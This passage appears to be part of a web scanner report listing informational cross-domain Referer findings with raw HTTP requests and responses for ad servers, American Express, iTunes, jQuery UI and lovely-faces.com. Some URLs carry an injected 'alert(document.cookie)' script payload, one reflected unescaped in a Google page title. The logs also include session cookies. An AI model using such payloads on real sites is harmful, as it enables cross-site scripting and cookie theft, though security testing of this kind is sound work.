GET /pagead/ads?client=ca-pub-6105196450991387&output=html&h=280&slotname=9200301136&w=336&lmt=1296964091&flash=10.1.103&url=http%3A%2F%2Fwww.freedownloadscenter.com%2Fterms%2Fhtml-tracert-nslookup%2Fnslookup.html&dt=1296942491490&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8416674819%2C4051504648&correlator=1296942491388&frm=0&adk=4269378515&ga_vid=1479561773.1296942490&ga_sid=1296942490&ga_hid=75542475&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=996&fu=0&ifi=3&dtd=2&xpc=MCJZIbMLpC&p=http%3A//www.freedownloadscenter.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.75. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296964097&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Ffiles.php%3Fname%3DNslookup&dt=1296942497209&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942497214&frm=0&adk=871793777&ga_vid=1133224394.1296942497&ga_sid=1296942497&ga_hid=1303305330&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=1&dtd=18&xpc=wQo8W3zrV7&p=http%3A//www.filetransit.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.filetransit.com/files.php%253Fname%253DNslookup%26hl%3Den%26client%3Dca-pub-5112821747420583%26adU%3Dwww.Moxiesoft.com%26adT%3DIntegrating%2BLive%2BChat%253F%26gl%3DUS&usg=AFQjCNEzJaa7jU3qxqTaLxbAOtwrdWSbsQ

Request

Response

20.76. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-1425385000011641&output=html&h=60&slotname=9888242770&w=234&lmt=1297031229&flash=10.1.103&url=http%3A%2F%2Fwww.forex-direkt.de%2F%3Fb35b2--%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eb7a27f6b27d%3D1&dt=1297009629461&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=9823486510&correlator=1297009602050&frm=0&adk=2868326307&ga_vid=298496801.1297009602&ga_sid=1297009602&ga_hid=1406453243&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1031&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F77&fu=0&ifi=2&dtd=16&xpc=qnKqsOmMAR&p=http%3A//www.forex-direkt.de

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.forex-direkt.de/%253Fb35b2--%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253Eb7a27f6b27d%253D1%26hl%3Den%26client%3Dca-pub-1425385000011641%26adU%3Dwww.GFTforex.com%26adT%3DFree%2BStarter%2BKit%2Bfrom%2BGFT%26gl%3DUS&usg=AFQjCNGAQU4oCVHl36dMIT3b_lth8teuDg

Request

GET /pagead/ads?client=ca-pub-1425385000011641&output=html&h=60&slotname=9888242770&w=234&lmt=1297031229&flash=10.1.103&url=http%3A%2F%2Fwww.forex-direkt.de%2F%3Fb35b2--%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eb7a27f6b27d%3D1&dt=1297009629461&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=9823486510&correlator=1297009602050&frm=0&adk=2868326307&ga_vid=298496801.1297009602&ga_sid=1297009602&ga_hid=1406453243&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1031&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F77&fu=0&ifi=2&dtd=16&xpc=qnKqsOmMAR&p=http%3A//www.forex-direkt.de HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.77. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=280&slotname=9573820732&w=336&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560326&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765%2C3865030659&correlator=1296942560294&frm=0&adk=1878471090&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=4&dtd=3&xpc=xLYTdYWw9J&p=http%3A//www.orthougm.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.orthougm.com/%26hl%3Den%26client%3Dca-pub-0813152173226346%26adU%3Dwww.Moxiesoft.com%26adT%3DMoxie%2BLive%2BChat%2BSolutions%26adU%3Dwww.LaserSpineInstitute.com/Spine%26adT%3DOrthopedic%2BSpine%2BDoctor%26adU%3DHSS.edu/Hospital-for-SpecialSurgery%26adT%3DHosp%2Bfor%2BSpecial%2BSurgery%26adU%3Dwww.LevinLaw.com/DePuy%26adT%3DDe%2BPuy%2BImplant%2BLawsuit%26gl%3DUS&usg=AFQjCNHJgvHAv6gh7OrMyJO6hHqC6hdE_A

Request

Response

20.78. https://home.americanexpress.com/home/corporations.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/corporations.shtml

Issue detail

The page was loaded from a URL containing a query string:

https://home.americanexpress.com/home/corporations.shtml?inav=menu_business_corphome

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /home/corporations.shtml?inav=menu_business_corphome HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html
Expires: Sat, 05 Feb 2011 22:25:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:25:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SaneID=64.212.114.32-1296944720173430; path=/; expires=Tue, 09-Feb-16 22:25:20 GMT; domain=.americanexpress.com
Set-Cookie: bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 22:25:20 GMT; path=/; domain=.americanexpress.com
Content-Length: 58419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<TITLE>Corporate Credit Cards & Bus
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.79. http://itunes.apple.com/us/app/orthosupersite/id401876377 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://itunes.apple.com
Path:	/us/app/orthosupersite/id401876377

Issue detail

The page was loaded from a URL containing a query string:

http://itunes.apple.com/us/app/orthosupersite/id401876377?mt=8/

The response contains the following links to other domains:

http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-base.cssz
http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-base.jsz
http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-preview.cssz
http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-preview.jsz
http://ax.phobos.apple.com.edgesuite.net/images/web/itunes_preview/itunespreview_en.png
http://orthosupersite.com/
http://www.facebook.com/plugins/likebox.php?id=100484820802&width=230&connections=0&stream=false&header=false&height=62
http://www.facebook.com/plugins/likebox.php?id=286893159420&width=250&connections=0&stream=false&header=false&height=62

Request

GET /us/app/orthosupersite/id401876377?mt=8/ HTTP/1.1
Host: itunes.apple.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Last-Modified: Sat, 05 Feb 2011 21:51:13 GMT
x-apple-orig-url-path: /us/app/orthosupersite/id401876377?mt=8/
x-apple-application-site: CUP
x-apple-max-age: 3600
Content-Type: text/html
x-apple-woa-inbound-url: /WebObjects/MZStore.woa/wa/viewSoftware?cc=us&id=401876377&mt=8/
x-apple-application-instance: 550
x-apple-aka-ttl: Generated Sat Feb 05 13:51:13 PST 2011, Expires Sat Feb 05 13:52:13 PST 2011, TTL 60s
x-webobjects-loadaverage: 0
Cache-Control: no-transform, max-age=58
Date: Sat, 05 Feb 2011 21:51:15 GMT
Content-Length: 27958
Connection: close
X-Apple-Partner: origin.0

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.apple.com/itms/" lang="en">

<head>
<!-- parent component = "SEOHSoftware
...[SNIP]...
</title>
<link rel="stylesheet" type="text/css" href="http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-base.cssz" />
<link rel="stylesheet" type="text/css" href="http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-preview.cssz" />

<script type="text/javascript" charset="utf-8" src="http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-base.jsz"></script>
<script type="text/javascript" charset="utf-8" src="http://ax.phobos.apple.com.edgesuite.net/htmlResources/FE60/web-storefront-preview.jsz"></script>
...[SNIP]...
<h2><img src="http://ax.phobos.apple.com.edgesuite.net/images/web/itunes_preview/itunespreview_en.png" alt="iTunes" height="32" width="263"></h2>
...[SNIP]...
<div class="app-links"><a rel="nofollow" target="_blank" class="see-all" href="http://ORTHOSuperSite.com">OrthoSuperSite Support</a>
...[SNIP]...
<div class="fbfan">
       <iframe src="http://www.facebook.com/plugins/likebox.php?id=100484820802&width=230&connections=0&stream=false&header=false&height=62" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:230px; height:63px;" allowTransparency="true"></iframe>
   </div>
   <div class="fbfan last">
       <iframe src="http://www.facebook.com/plugins/likebox.php?id=286893159420&width=250&connections=0&stream=false&header=false&height=62" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:250px; height:63px;" allowTransparency="true"></iframe>
...[SNIP]...

20.80. http://jqueryui.com/themeroller/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The page was loaded from a URL containing a query string:

http://jqueryui.com/themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.8/jquery-ui.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.8/themes/base/jquery-ui.css
http://docs.jquery.com/Donate
http://jquery.com/
http://jquery.org/
http://plugins.jquery.com/
http://static.jquery.com/ui/css/base2.css
http://static.jquery.com/ui/themeroller/app_css/app_screen.css
http://static.jquery.com/ui/themeroller/scripts/app.js
http://www.filamentgroup.com/

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:09 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 119945

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="icon" href="/images/favicon.ico" type="image/x-icon" />
           <link rel="stylesheet" href="http://static.jquery.com/ui/css/base2.css" type="text/css" media="all" />
           <link rel="stylesheet" href="http://static.jquery.com/ui/themeroller/app_css/app_screen.css" type="text/css" media="all" />
           <link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.8/themes/base/jquery-ui.css" type="text/css" media="all" />
           <link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureH
...[SNIP]...
Shadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
           <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js" type="text/javascript"></script>
           <script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.8/jquery-ui.min.js" type="text/javascript"></script>
           <script src="http://static.jquery.com/ui/themeroller/scripts/app.js" type="text/javascript"></script>
...[SNIP]...
<li>
                   <a href="http://jquery.com">jQuery</a>
...[SNIP]...
<li style="padding-right: 12px;">
                   <a href="http://plugins.jquery.com/">Plugins</a>
...[SNIP]...
<li>
                   <a href="http://docs.jquery.com/Donate">Donate</a>
...[SNIP]...
</span>
               <a class="block filamentgroup" href="http://www.filamentgroup.com"><span>
...[SNIP]...
<span class="first" style="float: right; padding-right: 12px;">© 2010 The <a href="http://jquery.org/">jQuery Project</a>
...[SNIP]...

20.81. http://linkhelp.clients.google.com/tbproxy/lh/fixurl previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://linkhelp.clients.google.com
Path:	/tbproxy/lh/fixurl

Issue detail

The page was loaded from a URL containing a query string:

http://linkhelp.clients.google.com/tbproxy/lh/fixurl?hl=en-US&sd=com&url=http%3A%2F%2Fmanual.ariens.com%2Faownersfb07a%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef1f74a3196e&sourceid=chrome&error=http404

The response contains the following links to other domains:

http://ariens.com/
http://manual.ariens.com/

Request

GET /tbproxy/lh/fixurl?hl=en-US&sd=com&url=http%3A%2F%2Fmanual.ariens.com%2Faownersfb07a%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef1f74a3196e&sourceid=chrome&error=http404 HTTP/1.1
Host: linkhelp.clients.google.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NID=43=Cig5UOc1wv5sfNglqsyNnFFEHFTegiEsPcNcebZoaufNwyNg_IQMlCYN52J936mT_QhaGnP1ldozomC9pKE6pPObVlBzwrbZzma55sFIQ07o-FXH1wkI_XBsSCK3Q2fY; PREF=ID=11a9f75446a95c33:U=28a8b1ad565a039a:FF=0:TM=1293845297:LM=1296932041:GM=1:S=NDlWCWhRSX8WRFLQ

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:03:04 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Server: linkdoctor/fixurlserver
X-XSS-Protection: 1; mode=block
Content-Length: 6875

<!DOCTYPE html><html lang="en" ><meta charset="utf-8" /><title>Oops! This link appears to be broken - manual.ariens.com/aownersfb07a<script>alert(document.cookie)</script>f1f74a3196e</titl
...[SNIP]...
<li>Go to <a href="http://ariens.com/" onmousedown="return rwctrd(this,'dm','0','http://www.google.com/url?sa=D&q=http://ariens.com/&usg=AFQjCNFyN-Mo_RDmUg-PIf6fCX-E2ltcvg');"><b>
...[SNIP]...
<li>Go to <a href="http://manual.ariens.com/" onmousedown="return rwctrd(this,'hs','1','http://www.google.com/url?sa=D&q=http://manual.ariens.com/&usg=AFQjCNEedr0ocVSSGz0gXJCbG5tgY0h9fA');"><b>
...[SNIP]...

20.82. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1506000189&v_sex=1&Bethany-Bennett--Mild-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Bethany-Bennett/1506000189

Request

GET /index.php?id_face=1506000189&v_sex=1&Bethany-Bennett--Mild-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:22:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19554

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Bethany-Bennett/1506000189 target=_new><b>
...[SNIP]...

20.83. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=2062784&v_sex=2&Jeff-Reader--Funny-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Jeff-Reader/2062784

Request

GET /index.php?id_face=2062784&v_sex=2&Jeff-Reader--Funny-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:35:03 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19352

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Jeff-Reader/2062784 target=_new><b>
...[SNIP]...

20.84. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=11801434&v_sex=2&Ryan-Collins--Sly-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Ryan-Collins/11801434

Request

GET /index.php?id_face=11801434&v_sex=2&Ryan-Collins--Sly-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:28:00 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19247

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Ryan-Collins/11801434 target=_new><b>
...[SNIP]...

20.85. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=685630101&Abhishek-Kapoor--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abhishek-Kapoor/685630101

Request

GET /index.php?id_face=685630101&Abhishek-Kapoor--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:57:01 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abhishek-Kapoor/685630101 target=_new><b>
...[SNIP]...

20.86. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=415248&v_sex=2&Jose-Javier-Zequeira--Mild-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Jose-Javier-Zequeira/415248

Request

GET /index.php?id_face=415248&v_sex=2&Jose-Javier-Zequeira--Mild-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:53:21 GMT
